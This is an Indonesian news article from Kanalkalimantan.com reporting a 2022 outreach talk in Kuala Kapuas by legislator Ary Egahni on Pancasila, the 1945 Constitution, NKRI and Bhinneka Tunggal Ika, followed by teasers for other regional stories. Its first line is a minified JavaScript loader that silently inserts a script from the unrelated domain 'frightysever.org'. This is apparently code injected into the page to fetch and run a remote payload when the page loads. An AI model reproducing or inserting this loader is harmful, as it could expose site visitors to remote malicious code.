(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Anggota Komisi III Dewan Perwakilan Rakyat (DPR) Ary Egahni SH MH menggelar sosialisasi empat pilar kebangsaan Pancasila, UUD 1945, NKRI, dan Bhinneka Tunggal Ika, di halaman kantor Kecamatan Bataguh, Kamis (2/6/2022).
Kegiatan dihadiri Bupati Kapuas Ir Ben Brahim S Bahat, Kepala Organisasi Perangkat Daerah (OPD) Pemkab Kapuas, Camat Bataguh Suryadin, para kepala desa, tokoh agama, tokoh masyarakat, tokoh adat, serta masyarakat Desa Bataguh.
Ary Egahni mengatakan, Indonesia adalah negara yang besar dan memiliki keunikan dengan memiliki empat pilar kebangsaan sebagai konsensus bangsa.
“Pancasila sebagai Ideologi Negara, UUD 1945 sebagai konstitusi negara, NKRI adalah sebagai harga yang harus dipertahankan, Bhinneka Tunggal Ika adalah sebagai semboyan negara,” sebut Ary Egahni.
Baca juga : Bukti Negara Hadir, PLN Salurkan Stimulus Listrik Pemerintah Rp 24,23 Triliun Selama Pandemi
Penting menjaga empat pilar kebangsaan agar generasi muda nantinya mampu mewarisi bangsa dan negara besar ini. Karena generasi muda yang kelak akan menjadi pemimpin bangsa ini.
“Pancasila sebagai Ideologi Negara, seperti yang kita tahu Pancasila sendiri berasal dari dua kata sansakerta, yakni panca yang berarti lima dan sila yang berarti prinsip atau asa. Kelima prinsip tersebut juga tercantum dalam paragraf keempat Pembukaan Undang–Undang Dasar 1945,” kata Ary Egahni.
UUD Negara Republik Indonesia tahun 1945 adalah hukum dasar tertulis, konstitusi pemerintahan negara Republik Indonesia saat ini. NKRI bediri dari Sabang sampai Merauke, sejak Proklamasi Kemerdekaan Indonesia pada 17 Agustus 1945.
Bhinneka Tunggal Ika merupakan motto atau semboyan Bangsa Indonesia yang tertulis pada lambang negara Indonesia, Garuda Pancasila. Frasa ini berasal dari bahasa Jawa Kuno yang artinya adalah berbeda-beda tetapi tetap satu.
Baca juga : Kabupaten Banjar Ikuti Verifikasi Lapangan Hybrid KLA 2022
Demi mencapai tujuan untuk mewujudkan Empat Pilar Kebangsaan diperlukan pemuda-pemudi yang tangguh dan memiliki jiwa kepemimpinan agar mampu menjadi panutan.
“Jadi untuk mewujudkan empat pilar kebangsaan kita juga harus saling memotivasi sesama, agar merasa terpacu berkewajiban mewujudkan empat pilar kebangsaan tersebut,” imbuh Ary Egahni.
“Semua bisa kita atasi dengan kebersamaan, kekompakan dan persaudaraan tanpa membedakan warna kulit, suku dan agama karena semua orang yang ada di Kabupaten Kapuas dan Kalimantan Tengah adalah bersaudara walaupun tidak sedarah,” pungkas Ary Egahni. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.